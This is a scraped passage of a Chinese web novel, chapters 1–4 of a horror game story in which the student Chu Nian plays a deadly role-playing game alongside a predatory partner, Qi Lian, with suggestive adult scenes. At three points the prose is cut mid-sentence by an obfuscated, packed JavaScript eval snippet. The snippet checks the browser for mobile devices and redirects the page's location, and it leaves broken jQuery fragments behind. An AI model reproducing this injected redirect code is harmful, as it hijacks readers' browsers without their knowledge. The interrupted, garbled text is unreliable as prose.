《无限流炮灰,但玛丽苏》 1. 酬 神 天空阴沉,一辆老旧的长途汽车行驶在山间荒凉的小道上。 楚念睁眼便看见车窗外连绵环绕的群山,在泛起雾色的天色间宛如一幅山水墨画。 车上除了她,还有另外十三名游客。 如果不是车厢里的氛围过于诡异,她很难相信自己已经进入酬神的世界—— 事情发生在一天前。 她因为从小就能看见常人看不见的东西,对怪力乱神的事,素来敬而远之。看到室友在注册来历不明的许愿APP,随口提醒了一句,不料却受到室友的好心提携,还没等她睡醒,就已经被拉入这款名为「酬神」的许愿软件。 她醒来以后便看见自己面前有一个类似3D面板的东西。 「恭喜你已进入到【酬神】的世界,在这里你可以获得想要的一切,请输入你的名字,获取你即将扮演的角色和身份阵营——」 楚念没有贸然行动。 因为面板上面又出现一个类似病毒入侵的弹窗,挡在上一个游戏面板前闪烁——「这并不是一款游戏!而是一个货真价实的杀戮现场!活着!活着!活着就是第一要素! 1.时刻牢记你所拿到的身份,并扮演好你的角色! 2.不要让任何人知道你所持的身份阵营! 3.不要让 「祂们」知道你已经发现 「祂」了! 4.警惕「祂们」的陷阱!注意……」 楚念还没有看完,这个弹窗就被强行关闭了。 系统再次发出让她输入名字的提示。 她等了很久都没有等到第二个选择,只能按照上面的指引,输入了「楚念」两个字。 很快就弹出了她即将扮演的身份和所属阵营—— 姓名:楚念 阵营:人类 故事背景:你是一名美院在读学生,费尽心思追到了校草祁连,然而他却一直对你爱答不理。你无意中看到了他和其他女生的暧昧信息,决心借由社团组织的“深牢山三天两夜徒步之旅”让感情升温,正巧山里升起大雾,让你以身体献祭祁连的计划变得越发简单起来……(剩下的故事待玩家完成以上剧情以后解锁)」 背景介绍到此为止。 楚念来回操作着界面,企图找到可用的信息,但是除此之外,再没有任何多余信息。 看来剩下的信息只能靠她慢慢摸索了。 她点击「已知晓」以后,透明的引导面板便从眼前消失了。 车厢里的另外十三个人还在昏睡。 大多数都是普通的游客打扮,其中还有人举着小红旗,戴着旅行团常见的“小红帽”,如果忽略车厢里来路不明的污渍和布满灰尘的地面,眼前的场景看上去和任何普通的短途旅游无异。 她坐得位置位于车厢的倒数第二排。 想要起身去驾驶座查看时,才发现身边还坐着人。 清冷俊美的少年闭眼仰靠在脏旧的椅背,冷白的皮肤看不出一丝血色,高挺的鼻梁上残留刚刚结痂的伤口,像是擦伤导致,衬托着眼尾悬挂的那颗泪痣,让这张清冷淡漠的脸看起来格外张扬。一身黑色的冲锋衣和灰色运动裤,原本脏乱的车厢也变得文艺复古。 这应该就是她需要勾引的男神祁连。 可是她没有流露出丝毫兴趣,跨过祁连径直向前走去。驾驶座是空的,这辆车也不知道停运多久,方向盘和座椅也布满灰尘,车窗上更是被污渍遮掩大半,正想伸手查看,身后冷不丁响起一个男生的声音,“别碰,是血。” “根据其表面的氧化程度,造成的时间应该在十二个小时以上。” 她回过身。 车厢里同时响起一段广播——「请景区内的游客们注意,现在有一名连环杀人案的嫌疑人往原始森林跑去,请大家及时下山,勿要逗留」 她和青年同时向着发出声音的车顶看去。 青年率先回过神,主动自我介绍道:“你好,我叫柯泽,是一名政法大学刑事侦查学院的在校学生。通过社团报名来参加的徒步旅行。” “你好,我叫楚念,是美院的在校学生。也是通过社团来报名参加徒步之旅的。”楚念戒备却不失礼貌。 “一个人?” “我和我男朋友一起来的。”楚念眼睛一眨不眨的盯着他。 他顺着楚念的视线看过去,若有所思的点了点头。 楚念不确定他话里的真假,但很清楚他正在扮演自己所拿到的角色。 因为他太正常了,完全就是现实中刑侦学生会有的状态,而有这种状态的人,居然没有对周遭的环境生疑。她也清晰的记得弹窗上的提醒,没有过多和他交谈,回到了自己的座位上。 此时,车上已经有其他人陆陆续续醒了。 一个戴着眼镜的男生猛的弹坐起身:“啊!这里是什么地方我要下车!我要回去!我要的是没有任何副作用的实现我的愿望!” 他一边说一边向着打开的车门冲去,然而还没等他迈下台阶,他的鞋子像是被什么黏住了似的,身体在晃,脚却没有动。 楚念正当好奇他为什么还没走,他的影子突然从脚底窜上去,将他从头到脚包裹,宛如吞噬一般,把原本单薄的黑影撑出人形的轮廓。 随着噬骨般的惨叫,男生在所有人面前消失,只剩下一个破碎的眼镜和沾满半扇门的血污。 那个影子也随着地面的缝隙消失的无影无踪。 期间好几个乘客看着黑影随着缝隙自己的方向“游”来,纷纷抬脚,吓得尖叫连连,直到黑影消失,才如释重负松了口气。 “这里……到底是什么地方?”一个被影子吓到的女孩,扶着前面的椅背,颤颤巍巍问道。 “对啊,这里到底是什么地方?怎么会……”一个男生望着近在眼前的案发现场,心有余悸问。 “那个人去哪里了?他是死了吗?” “对啊,那个黑影……” 问题接踵而来,可是没有人一个解答。 正当各类问题层出不穷的冒出来,他们脚下的影子无声无息长出“脑袋”,慢慢站立起来,“找到你了——” 忽然站起的影子,用吞噬眼镜男生的方式,吃掉了提问和惊叫害怕的两个人,不知是不是楚念的错觉,这个影子比吃一个人的时候大了一些。 车厢里一片静谧。 可是仔细观察就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016304|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现其他人脸上有着不同程度的冷汗。 「系统检测到有玩家正在影响其他玩家的游戏体验,再次提醒您需要扮演好自己的角色」 原本消失的游戏面板又弹了出来。 确定现存的玩家都看见以后才再度消失。 这种明知有事发生,却要强行装作无事发生的行为,无疑加重了大家的心理压力。 唯一幸运的是,楚念坐在大巴车后排靠窗的位置,基本不用做什么,就能将大多数人的表现尽收眼底。 坐在前排的几个人控制不住的回头张望。 一个留着寸头的男人和楚念对上目光,硬着头皮开口道:“你们听到刚才的广播了吗?山里有连环杀人犯,我们还是快点下山吧——” “可是车已经开不了了,”柯泽从驾驶座折返回来:“我们现在下山的话,只能走回去,不出意外的话,六个小时左右应该可以抵达山脚,但是天已经快要黑了,这个时候贸然下山反倒会增加遇害的风险。” “可是我们也不能一直在车上待着吧!等到了晚上,要是被杀人犯发现,目标反而会更大!”寸头男的情绪顿时有些失控。 柯泽抿了抿唇,没有与他争论。 其他人也识趣的没有再说下去。 “小念……”楚念正观察着其他人的反应,忽然感觉到坐在前面的人悄悄拉了拉她的袖口。抬起头,便看见一张熟悉的面孔,脸上满是泪水和尚未褪去的恐惧。 她那自己发财还不忘提携她的室友—— 崔敏。 楚念面露诧异,无论如何都没想到崔敏和自己进入了同一个副本。 她咬着嘴唇,强压着心里的疑惑和恼怒,回握着崔敏的手。确定崔敏接收到她想要传达的信息,才缓缓松开来。 故作镇定向着其他人看去。 一个坐在门边的女生颤颤巍巍指着窗外:“下面有路牌。爱乐佳酒店徒步半山腰,一点二公里,再往上的千山庙六点三公里,下山三公里。我,我是来徒步的,我想直接去千山庙。” “什么?爱乐佳酒店?”楚念诧异的站起身,正准备俯身透过另一侧的车窗查看,眼前陡然出现一张布满血污的脸,她下意识往后一闪,黑影也随即消失不见。 崔敏看着她泛白的脸色,“怎么了?小念。” 楚念不知要如何和她解释。 她除了能看见其他人看不见的东西,还是天师道的传人之一,自小就在道观长大,师父去世以后,她成了道观唯一的合法继承人。 自她继承道观那天起,就收到一个神秘论坛的邀请,论坛里面经常会发布一些来自极凶之地的委托,而发起人通常都已经死去的亡魂。 在进入酬神之前,楚念正在抢得一单委托:「查明爱乐佳恶性纵火案背后的真相」 奈何她积分太低,名气太小,手指戳冒烟都轮不到她。没想到居然和酬神的世界是一个体系。 “那想下山的就下山,想留在车里的就留在车里,想继续往上爬的就往上爬,”一个留着自然卷,腰间佩戴着一把桃木剑的青年站起身:“这个时候就不要把命运交到别人手里了,跟着自己的直觉赌一把吧。” 2. 男 友 楚念看到那把桃木剑瞬间清楚,这就是那个和她抢委托的道士。 心里瞬间有了谱。 副本里有这种专业人士中的高人托底,那再糟糕也不会糟糕到哪去。 她暗中松了口气。 车上剩下的人中,只有祁连还在昏睡。 戴着小红帽的女生举起手里的旗帜道:“既然来都来了,就还是上去看看吧。请大家认准我手里的小红旗,跟着我走吧。” 车里的大部分人都没有响应。 作为导游的女生也不强求,领着愿意和她走的游客下车了。 另外两个没有说过话的游客,暗中打量着包括楚念在内的其他人。每个人都既像真人又不像。他们不是第一次进入这种游戏,这种副本里通常不止一个「祂们」。 「祂们」会模仿真人玩家。混淆视听,以此套出玩家的身份,触发陷阱词,进行屠杀。 被老玩家俗称为“伪人”。 伪人和真人玩家最大的区别就是,真人玩家是演的,而伪人玩家是真的不认为周围的环境有问题。 因为「祂们」没有现实世界的逻辑和规则,并不认为沾满血迹的车厢是有问题的。 这同样也是「祂们」判断真人玩家身份的一种方式。真人玩家不仅要按照系统要求,扮演好自己的角色,又要确认其他真人身份的玩家,拼凑出完整的故事,根据自己拿到的身份提示和道具与伪人对抗。 直至一方阵营获胜。 「深牢山三天两夜徒步之旅」整个酬神世界最恶名昭彰的副本。因为其他副本都还会留有一丝仁慈,当副本死得只剩一个真人玩家时,这个玩家会自动脱离副本,不会让生存率降至零,而「深牢山」这个副本从诞生开始,生存率就是零。 别说新人,死在这里的老玩家都不计其数。 这辆车里基本全是生面孔,除了被影子吃掉的三个人,完全判断不出其他人的身份。尤其是后排那对情侣,那个男生昏睡到现在还没有清醒的迹象,女孩也没有任何恐惧的神色,全然像是一个没有情绪的伪人。 车厢里静悄悄的。 云层越发低矮昏沉,仿若乌云压境,让车厢里的光线越发昏沉。 其他人也不再耽搁时间,准备按照自己想法的行动,就在他们即将下车时,一直盯着后排的楚念忽然满头大汗喊道:“走,往山上走。” “为什么?”走到门边的男生问。 因为嘴型。 楚念咽了咽口水。 当她说完这句话,几分钟前闪现到车窗前“女人”就缓缓从后排起身,穿过站在门边的男生,从车门下去了。 从她的穿着来看,像是这个景区原本的工作人员。她的脖子上插着长长的玻璃碎片,一直贯穿到后脑勺,衣服上的血污已经干涸,显然已经“死”了很久。 可是楚念没有从她身上察觉到恶意,决定相信她,装模作样回道:“山上有酒店,那里有人又有光,就算是杀人犯也不敢轻易进来。” 佩戴着桃木剑的青年深深看了她一眼。 站在门边的男生面露疑色,感觉她像是引诱着自己上山,但是也没有轻举妄动,想要获取更多有用的信息。 “有道理,”柯泽附和道:“往山上走吧。” 他这一站队,让原本微妙的氛围越发微妙。 桃木剑青年并没有搭理他们,径直往道路前方走去。一个少年紧紧跟在他身后。寸头男和门边的男生也向着山下走去。 徒步的女生则背着自己笨重的行囊独自向着千山庙出发。 剩下的几个人都没有动。 车厢的前半段亮起幽蓝的冷光,照在每个人的脸上,映照出不同程度的阴影。 楚念正盯着窗外的群山出神,忽然听到耳畔响起一个慵懒的男声:“怎么还没走?” “我在等你。”楚念回过头来,比起三天两夜的徒步之旅,他更像是她的任务。 “抱歉,我睡得太久了,”他盯着她额头上的汗珠,“怎么流了这么多汗?” “应该是刚才发生车祸的时候吓的?” “发生车祸了?”他眉头微皱。 “恩,还有杀人犯跑进来了。” “那真的很糟糕了。”他扶着额头道。 “我们先上山吧。”楚念握着他的手腕,准备起身道。 他却没有动,顺势将她拉坐在自己腿上,轻轻擦去她额头上的汗珠:“还怕吗?” “不,怕了。”楚念尽量让自己看起来自然一些,可是他身上的违和之处,让她很难忽略。 故事里明明提过,他对自己爱答不理,甚至和其他女生暧昧,“自己”才想要用身体献祭他。 可他现在的反应根本不像是不爱。 楚念不知道是他剧本的问题,还是他对角色解读有误,继而造成错误的扮演,但是越发暗沉的天色,明显不适合再耽误下去。 “我们快走吧。”楚念握着他的手腕,起身催促道。 “急什么,”他抚过她额前为数不多的碎发:“好不容易和你单独出来一次。” 他反握着她的手指,含在他的唇瓣。 冷白宽厚的掌心扣着她纤细的腰肢:“宝贝,我吃掉你可以吗?” 楚念没有回答,但是她直愣的眼神,已经让祁连直播间的观众预见到结局—— 「大哥的show time环节又来了,以为是被爱了,其实是要被吃了」 「拿到屠皇女友角色的玩家真的惨,我看了几百场都是不等开场人就没了」 「真的没有人觉得他顶着这样一张脸说这种话很违规吗?这对普通玩家太有诱导性了」 「他们这一把还剩八个人类吧?哎,一个屠皇,两个伥鬼,怎么赢啊?上把神明阵营只有屠皇一个,对面十三个人类都被团灭了」 「不团灭还叫屠皇吗?这个妹妹看来是相信自己拿到的角色提示,要用身体献祭屠皇了,哎……」 祁连也在享受当她发现“自己是真的要吃掉她,而不在和她是调情时”的惊恐,一双桃花眼含情脉脉的望着她,用舌尖轻轻舔舐她的指尖。 楚念丝毫没有受眼前的美色蛊惑,大脑高速思索着他这么做的原因和他所拿到的角色。 迟迟找不到头绪,索性不装了,面无表情摁着他的舌尖:“车上这么多人别乱来,有什么晚上再说。” 她是真的想等到晚上再说,反正不管原因如何,他们的目标是一致的。 他要“吃掉”她,她要“献祭”他。 用词不同,归根结底都是一样的东西。 可是这句话落在其他人耳朵里明显是有歧义的。 祁连:“恩?” 楚念不再多言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016305|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大义凛然的拍了拍他的肩,从他腿上起身:“放心,换个合适的地点,姐肯定睡你。” 这么色情的事,却听不出半分旖旎,全是为达目的的严谨。 她一把捞起放在脚边的道具背在肩上,一边拉起他,一边拍了拍走廊旁边的椅背,示意霍敏走了。 祁连没注意到她的动作,注意力全在贴着自己手臂的胸上,脸上满是不知道她要做什么的茫然。 祁连直播间近千万的人数瞬间暴涨过千万。 弹幕如雪花片般滚动。 「我刚刚听到了什么?这姐要睡屠皇?还要选个合适的地方?」 「我不信屠皇会给她睡!除非姐睡给我看!」 「哈哈哈哈哈哈我听到了什么!姐,他要吃你啊!不是要你睡他啊!」 下车以后,楚念主动松开手,不忘压低声音提醒:“你没事少看点儿小黄片,哪有人真的在公交车上xxoo的。” 祁连:“……” 他不知道直播间的观众听到这句话是什么反应,只觉他的眼前一黑又一黑。 “这位女士,”祁连克制着怒火:“我刚才没有要和你xxoo的意思。” 「酬神」的副本里虽然充斥血腥暴力,但也是一个正经逃生游戏,抵制一切擦边行为,更别说她这么大张旗鼓要和他“搞黄”。 极有可能让他的直播间被系统封禁。 “我知道,”都是任务的一部分。楚念点头,再度向他确认:“晚点儿来,咱找个背着点人的地方。” 祁连:“……” 他深深怀疑她是对家派来整他的。 甚至生出了想要投诉她的冲动。 可是她却不再搭理他。 她不动声色靠近霍敏,压低声音问:“除了我以外,你还给谁绑定了这个系统?” 霍敏哭丧着脸:“我只给你绑定过,但是我们寝室的人都绑定过了。小念,你别怪我,我真是怕你觉得我们不带你发财,才费心费力帮你注册的。” “行了,别哭了。”现在说这些已经没用了,楚念在她脸上擦了一把:“你要是还有机会见到那个戴着桃木剑的青年,一定要跟紧他。他肯定能保你的命。” 霍敏不知道原因,但是也没有追问,连连点头:“小念,你说那个弹窗说的都是真的吗?我们真的会死在……” “不会。”楚念斩钉截铁打断道:“记住,人要避谶。我们都会活下去。” 霍敏和楚念当了两年的室友,虽然交心的时刻不多,但是一直都知道这个看似清冷漂亮,总是独来独往的室友,在关键时刻比谁都可靠。 用力点着头,把楚念的话都放在心上。 这里虽然是旅游区,但是年久失修,原本的石阶已经被滑坡的山体覆盖,每一步都是寸步难行。 霍敏几次都险些摔倒,若不是楚念一直拉着她,她早就滚到旁边的断崖峭壁,吓得双脚发颤。 旁边的祁连如履平地,三步并作两步,逐渐在和其他人拉开距离。 楚念意识到这样下去,自己的任务可能会无法完成,将自己道具里的飞虎爪交给她,一把抓着祁连正准备从乱石堆跳下的衣角,“一块儿走。” “你跟不上我的。”她的不自量力,让祁连由衷发出一声冷笑。 “行,”楚念也不和他客气了:“那你背我。” 3. 帐 篷 在这里背她? 祁连望着旁边的万丈悬崖,很难相信这是一个人类玩家提出的建议。 他但凡有一点儿“失误”,她这条小命就要交代在这儿了。 这种时候还把命运交给别人,可见这并不是一个聪明的女人。 “不想?”楚念大为失望:“所以你就这点儿本事?” 祁连脸色铁青冷笑出声:“上来。” 他没有蹲身的习惯,楚念将道具背在肩上,手脚并用环着他的脖子,趴到他背上。 这一段的路段简直糟糕透顶,满地乱石,稍有不慎就会连人带包全部滚下去,她死死抱着他的脖子,生怕被他从背上甩出来。 他的确也有这个意思,一路上毫无章法的跳坑下坡,结果她就像八抓鱼一样稳稳挂在他的身后。 尤其是胸前的起伏,随着他跳动的弧度,沉甸甸的砸在他的脊背。 “你离我远点儿,”祁连极为不自在,不得不停下脚步:“别贴这么紧。” 楚念也有怨言:“那你就别晃那么厉害,晃得我胃疼。” 祁连不得不放慢脚步。 果然圈着他的手也松了些,贴着他的起伏也没有那么明显。 他映在直播间里的脸色一片铁青。 明明是他的show time 时间,现在成了他当牛做马的现场直播。 直播间里也是一片诡异的省略号。 沉默,却振聋发聩。 走过这段路,天空下起雨。楚念发现他完全不累,一不做二不休道:“你干脆就这样背着我上去吧,应该比我自己跑要快。” 祁连克制着心底的情绪:“宝贝,你是不是有点儿太看得起我的体力了?” “你这么不行吗?”楚念脱口而出。 祁连:“……” 再度咬着牙:“我行,趴好。” 「色情违规警告一次」 祁连闭着眼睛不想说话。 那张原本清冷破碎的脸此刻看着特别命苦。 要吃了她。 一定要马上吃了她。 他越走越快,其他玩家要用三个小时都不一定能走完的山路,他四十分钟就走完了。穿过乱石堆,出现一个拦路的铁网,上面挂着已经歪掉的牌子,写着“禁止攀爬,违者自负”。未等楚念读完上面的字,他已经拉着她圈在自己颈前的手腕,单手攀爬了过去。 “到酒店了,要让我吃掉你哦。”这是他唯一的要求。 “你放心,”楚念拉起冲锋衣上面的帽子,遮住落下的雨点:“我有分寸。” 厚重如水墨的乌云已经压下。 原本如细丝的雨滴化为石头大小,狠狠向地面砸下,整座深牢山都被笼罩在一片雾气当中。 路标提到的美乐佳酒店近在眼前,只是现在已经改名为“山野民宿”,看不到一点儿遭受过火灾侵害的影子,在雾里缭绕的群山中散发出温暖的灯光。 在这种环境之下,特别有吸引力,让人一看就想往里走。 祁连和楚念也不例外。 “宝贝,你现在可以自己走了吗?”祁连站在屋檐下问。 “谢谢。”楚念麻溜从他背上滑下来。 他咬着后槽牙的紧了又紧,敲响民宿的门。 门立刻打开了,一个短发娃娃脸的女生热情的迎了出来:“你好,欢迎光临山野民宿——” 祁连累得够呛,未等女生说完,径直越过她在大厅的沙发坐下。 “一间,大床房。” 女孩的视线转而落在楚念脸上,楚念也在打量着她,四目相对之间,女孩若无其事道:“大床房,限住两人。每人需支付四百许愿币,请问是怎么支付呢?” 许愿币是什么? 楚念猛的回过神,她没想到这个世界居然还有钱的概念。 于是悄悄打开自己的个人界面查看,找了半天终于在面板上找到一个钱包样式的图案,点开:一元。 楚念:“……” 她越过女生往民宿大厅看了一眼,不止是他,拿桃木剑的那个道士也已经到了。祁连翘着二郎腿坐在沙发上,全然不在乎现她的窘迫。 楚念向他勾勾手。 他不得不起身走近:“干什么?” “这个民宿你是非住不可吗?” “你不想?” “我带帐篷了,我们去住帐篷吧。”她可算知道这个道具的作用了,不枉费她背了一路。 “你还带了敞篷?”难怪那么沉,他咬着后槽牙问:“不怕遇上杀人犯?” 杀人犯哪有没钱可怕? 楚念穷得理直气壮:“你放心,姐要睡你,肯定不让你花钱。走吧。” 行吧。 在哪儿吃她不是吃呢。 他故作体贴问:“那你准备去哪里搭帐篷?” 她指着不远处荒野:“就那边吧。” 柯泽和霍敏以及另一个女生也赶来了,听到他们不准备住民宿。柯泽主动询问他们是否需要帮助,楚念得知他和另一个女生的钱只够再帮一个人垫付房费,没有丝毫犹豫把这个机会让给霍敏。 柯泽舔了舔嘴唇。 欲言又止道:“你们这样会很危险的。小姐,可以让他们在大厅……” “不可以,“民宿的服务生笑容甜美的拒绝,又像是为了报复她不住店,刻意补充道:“那你们要注意安全,小心不要被吃掉哦。” 周围的天色越来越暗。 楚念将唯一的伞和手电递给他,在繁茂的荒草里找出一块儿空地,搭建帐篷。 雨越来越大,祁连渐渐有些看不清她。 直到她拉紧风绳后,穿着红色的冲锋衣在雨幕里向他招手。 “进去。”他已经迫不及待想要吃掉她,脸上几度维持不住情绪。 楚念钻进帐篷,擦拭着冲锋衣上面的雨水,幸好都是防水材质,不至于让她过于狼狈,她拿毛巾擦着头发,从里面取出一包压缩饼干递给他。 “你要是饿了……” 话音未落,他已经将她推到在地。 一双眼睛微微有些发红,“让我吃掉你。” 帐篷里还没有铺防潮垫,隔着牛津布的石子硌得她背疼,她仿若未闻的圈住他的脖子:“你想从哪里开始吃。” “眼睛,”他紧紧盯着她:“我要饿死了。” “那你更应该吃东西,而不是想着吃掉我。”她推开他,拿起掉落的饼干递给他,“渴了我包里我还有水。” “水可止不了我的渴。”他盯着她颈脖下跳动的动脉血管,咽了咽喉结。 “讨厌。”楚念不知想到什么,推着他的胸口娇嗔一声。 「色情违规警告二次」 祁连:“……” 楚念铺好防潮垫,见他拿着饼干没有动,主动拆开包装,取出一块递到他的唇边,“你尝一口,其实也没有难吃。” 他再度将她压在身下:“我要吃你。” “我又不好吃,有什么好吃的?”她将饼干扳下一块儿,塞到他的唇边,“怎么样?” 他尝也没有尝,轻轻舔过她的手指:“如果你不让我吃掉的话,我就得去找别人了。” 楚念叹了口气。 缓缓推开他起身道:“好了,知道了。” 他随着她一点一点支起身。 她跪直在他的身前,挂在头顶的露营灯摇摇晃晃照在她的头顶,宛如一抹圣光从她身后亮起。 她脱下身上的冲锋衣,露出里面宽松舒适的T恤,用残留着饼干屑的食指抵在他的唇瓣,重新还原车厢里的一幕:“还要玩吗?” 真心实意想从物理上吃掉她的祁连:“……” 他嘴唇微张,正想说话,她的手指已经顺着他齿间的缝隙,摸到了他的舌尖。 “你的舌头好软。” 祁连:“……” 她的手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016306|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也滑进他的唇瓣,夹着他的舌。 透明的银丝从顺着他的唇角滑落,楚念没有和人谈恋爱的经验,但是在书里看过不少,盯着他的脸,顺着唇角的拉丝,在那张俊美破碎的脸上舔了一下。 他浅色的瞳仁随着她陡然放大的脸庞一缩。 颈间凸起的喉结不断吞咽滑动。 没有察觉到他的厌恶。 她的手指也不再只是在舌尖打转,学着书上描绘的,试探着在他口中搅弄抽|插。 非常有分寸的既没有弄疼他,也没有弄吐他,小心翼翼的观察着他的感受。 真别说…… 「因涉嫌色情违规,直播间封禁四十八小时,在此期间所有打赏、酬神收益都无法产生,请您知晓」 祁连:“……” 楚念看出他神色不悦,小心翼翼抽回手指:“我弄疼你了吗?” 他摇了摇头,闭着眼睛,主动握着她的手腕,含着她的指端抽|插、吞|咽。 不知是不是饿昏了头,他在她身上尝到檀香点燃后的味道,同样让人饱腹。 他吃得忘情,不自觉环住了她的腰。 楚念迟迟没有得到她想要的提示,难道这还不算献祭吗? 他此刻的表情实在太色了,楚念不自然的移开视线,不断给自己做心理建设,这就是你的男朋友,你就是馋他,亲吧,亲吧,亲了就不馋了。 她心一横,一不做二不休,抽出被他含吮的手指,在他面露茫然时,捧着他的脸,对着嘴唇吻了下去。 她亲得又急又猛,牙齿直接嗑了过来,在他红润的唇瓣啃下一道口子。 他顿时疼得到抽了口凉气。 楚念:“……” 可是他并没有怪她,只是舔着嘴唇上的血,意味深长盯着她。 这个表情实在太色气了。 她的耳朵瞬间红了,窘迫的竖起一根手指头:“再给我一次机会,求求了。” “那你轻点儿。”吃得半饱,他的情绪也缓和一些。 她点点头,望着他嘴唇的血珠,缓缓吻了上去。 依旧没有任何提示。 这种饱感更为强烈,他忍不住仰头躲避,她却揽着他的后脑勺,不依不饶追了上来,舌尖贴着他的嘴唇,“张开——” 他喉头微微滑动,但还是配合着张开了嘴唇。 她温暖的舌尖生涩的缠绕着他,津|液互渡,他生出前所未有的饱腹感,有一种饿了几百年,终于吃饱一次的感觉。 楚念是真没招了。 亲成这样居然还不算—— 硬着头皮,拉开他外套的拉链,向着他的胸口探去。 饱暖思淫欲。 几千年都没有的念头,在这一刻悉数涌了上来。 他微垂着眼,盯着她闭合的眉眼,由着她为所欲为。 楚念胆子再大,也不敢再往下摸了,只能握着他撑在身侧的掌心,往自己胸口带去。 再不行就只能…… 结果他的手才刚碰到,她的脑海中便响起系统的提示—— 「故事背景:你在用身体献祭祁连以后,发现祁连依旧对你还是不冷不淡的样子。于是决定到千山庙的姻缘树祈福,保佑这段感情天长地久……(剩下的故事待玩家完成以上剧情以后解锁)」 恩? 这就成功了? 早说啊,她还在那亲半天。 如释重负的松了口气,从他身前直起身:“不好意思,你现在吃饱了吗?要不要再吃点饼干?” 祁连的嘴唇还残留着她身上的气息,拢了拢悬在空中的掌心。 她的任务完成了。 虽然不知道是什么,但他心里隐隐有了谱。 一语双关问:“这也算?” 怎么不算?系统都判定她通过了。 楚念理直气壮,正准备说话,他已经拉着她的手臂,往自己身前倾靠:“再让我摸一下。” 4. 名 牌 楚念脱口就想问,他什么任务这么严苛,居然还没完成? 作为搭档,她有义务协助他,但这也太简单粗暴了。她就说这小黄片不能看,她都知道来点前戏,他怎么就怎么硬呢。 下意识扣着他来势汹汹的手掌。 两个人都陷入了微妙的沉默。 楚念率先回过神,讪讪收回手:“你手还挺大的哈。” 祁连:“……” 帐篷外面的风更大了。 连帐篷都被吹得变形,而在这样凛冽的风声中,楚念听到一种什么东西在地里拖行的声音。 很轻,但一直持续。 她立刻关掉头顶的照明灯,捂住了祁连的嘴。 一个拖着斧头的身影缓缓来到帐篷前,那身影高得离谱,完全看不到上半身。 斧头在地上拖拽的声音已经停了,人也站在了帐篷前。 楚念的心一下就悬到嗓子眼了,紧紧盯着帐篷外面的影子,缓缓拿下上面的灯,低语道:“待会儿我把灯砸向它的眼睛,我们就跑。” 可不知发生了什么,她这句话刚刚说完,外面的人已经拖着斧头,缓缓向着民宿的方向走去。 楚念不敢掉以轻心,确定斧头声远走时候,才猛的松了口气。 祁连温声安慰她:“没关系,它已经走了。” 楚念惊魂未定胡乱的点点头。 那是什么东西? 广播里提到的杀人犯吗? 相比之下,祁连就平静太多了,“我们先回民宿吧,等风再大一点儿,这个帐篷就要被吹飞了。” 楚念深知那个民宿有问题,但当下的确也没有更好的办法。 周遭的雾气都更浓了,除了不远处的民宿,四面都是浓稠到密不透风的黑。 她收起帐篷,“你先进去吧,我待会儿就过来。” “你一个女孩子在这里会有危险的,”祁连将手里的伞交给她,蹲下身固定帐篷的地钉道:“我和你一起吧。” 直播间已经关闭了。 这场杀戮已经不需要任何观赏性,他只需要坐享其成等一个结果就好。不出意外的话,天亮之前就能结束。 楚念已经想好如何和民宿的服务生周旋。 只要把今晚过了就行,不曾想,回到民宿,除了独自前往千山庙的女生和下山的两个男生,其他人都聚集在民宿大厅。 崔敏激动的直起身来,但在楚念冷静理智的视线下又冷静下来,等着她主动和自己搭话。 屋里的大多数人都在审视他们。 戴着小红帽的导游翘着二郎腿,不怀好意问:“你把我们大帅哥带到哪里去了,现在才回来?” 楚念没有搭理她。 佩戴着桃木剑的男人站起身问:“你们在外面碰到什么东西了吗?” 楚念正想回答,已经被祁连出声打断:“和你们有什么关系?” “我们的房间可以分给你们住,只要你把看见的东西和我们分享。” “不需要,”祁连拉着楚念向着吧台走去:“两个人,一间大床房。” 娃娃脸的服务生笑盈盈道:“据我所知,这位小姐没有许愿币吧?” 祁连冷冷盯着她,感觉这个服务生今天格外的聒噪,“你的话太多了。” 可是楚念已经想到了什么,主动顺着她的话接道:“我的确没有许愿币。” “你没有许愿币?”娃娃脸的服务生忽然兴奋起来:“那你现在就是服务生了!” 她以迅雷不及掩耳之势将自己胸前的名牌固定在楚念的衣服上。 “今天晚上就由你来值班,吧台里面这张床给你睡了,我明天早上八点会准时回来和同事交班,你只需要登记今天晚上住店的客人就行了。记住,不管楼上发生了什么,都不要离开吧台,你只是一个前台的服务生而已。” 楚念一个字都没说,她已经全部为楚念安排好了。 就在名牌固定在她胸前的一瞬间,她身上的衣服也立刻变成了娃娃脸女生身上的同款。 脑海中同时弹出系统提示:「恭喜你获得‘服务生的名牌’!从现在起你就是一名普通的游戏NPC了,不受任何使者和神明的攻击!在规定时间好好完成你的本职工作吧!」 其他原本准备抢夺NPC的身份玩家看到这一幕,直接从沙发上站了起来, “什么?” NPC名牌居然有主动送给玩家的吗? 